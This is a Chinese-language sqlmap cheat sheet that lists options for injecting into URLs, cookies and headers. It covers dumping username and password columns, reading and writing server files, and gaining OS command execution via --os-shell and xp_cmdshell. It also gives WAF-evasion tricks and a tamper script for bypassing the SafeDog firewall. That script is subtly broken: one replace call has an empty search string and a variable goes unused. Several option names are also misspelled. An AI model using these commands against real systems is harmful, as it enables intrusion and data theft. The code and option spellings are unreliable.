一、指定目标
1.指定url
-u "rul"
2.指定burp代理日志
-l proxy.log
3.从文件中解析目标
-m url.txt
4.从文件载入http请求 bp抓包 保存
-r test.txt
二、请求
1.put请求
-method=PUT
2.post数据
-data="id=1&username=admin"
3.指定分隔符 默认 &为 分隔符
--data="id=1;username=admin" --param-del=";"
4..cookie
登录后台后使用sqlmap 加入维持登录状态的cookie
--cookie "加入维持登录状态的cookie"
-level 2及以上 检测cookie注入
5.User-Agent
sqlmap 工具默认UA为sqlmap/版本号#dev (http://sqlmap.org) 会被waf检测 拦截
可以指定UA 或者随机UA
-user-agent="白名单UA"
-random-agent 随机UA
-level 3及以上 检测UA注入
6.hots
指定http头中的hotst值
-host
-level 5以上 检测host注入漏洞
7referer
sqlmap默认无referer字段
-referer指定
-level 3及以上 检测referer注入
8.额外的HTTP头
参数:–headers
使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:
-headers "X-A:A\nX-B:B"
9.身份认证
参数:–auth-type和–auth-cred
这些参数用于进行身份认证。“–auth-type”用于指定认证方式,支持以下三种身份认证方式:
Basic
Digest
NTLM
“–auth-cred”用于给出身份认证的凭证,格式是“username:password”。
三、注入
1.指定要测试的注入点
只测试get参数的"id"和User-Agent
-p "id,user-agent"
2.如设置了level为5但不想测试User-Agent和Refere
--level=5 --skip="user-agent,referer"
3.伪静态页面注入
eg: www.test/users/1
-u "http://www.test/users/1*"
4.指定数据库
--dbms mysql
5.判断网站数据库 默认显示所有数据库名
--dbs
6.当前连接的数据库名
--current-db
当前连接的用户名
--current-users
7.爆破test库的表名
-D test --tables
8.爆破test库 test表的所有字段名
-D test -T test --columns
9.爆破test库 test表的id,username,passwd的全部字段值
-D test -T test -C id,username,passwd --dump
10.指定检测技术
-technique
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
11.时间盲注 默认时间为5S
–time-sec10 修改时间
12.联合查询 列数 默认 1-10
–union-cols 10-20 指定列数检测范围到10-20
13.数据库指纹识别
-b或–banner 查出系统及版本
14.暴力破解表名
-common-tables
适用于:
版本小于5.0的MySQL没有information_schema表
微软Access的MSysObjects表默认不可读
数据库用户权限过低无法读取表名
15.暴力破解列名
-common-columns
使用同上
16.读取文件
--file-read "D:/test.txt"
17.上传文件
–-file-write和-–file-dest
四、操作系统控制
执行任意操作系统命令
参数:–-os-cmd和–-os-shell
前提:
(1) 网站必须是root权限
(2) 攻击者需要知道网站的绝对路径
(3) GPC为off,php主动转义功能关闭
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。
当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。
当数据库管理系统是微软的SQL Server时,Sqlmap通过存储过程xp_cmdshell来执行任意命令。
若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它;
若xp_cmdshell不存在,Sqlmap会创建它。
当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。
sqlmap请求过快被封 解决办法
1.尝试使用百度爬虫请求头
sqlmap -r 1.txt --user-agent="百度找百度爬虫的UA"
2.降低请求频率 延时注入
--delay 1
3.挂代理
sqlmap与burp联动
sqlmap -r 1.txt --proxy=http://127.0.0.1:8080
使用脚本
–tamper=rdog.py
简单的sqlmap 过狗脚本编写
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def tamper(payload, **kwargs):
retVal = ""
if payload:
payload = payload.replace("union","%23x%0aunion")
payload = payload.replace("select","/*!44575select*/")
payload = payload.replace("%20","%23a%0a")
payload = payload.replace("","%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。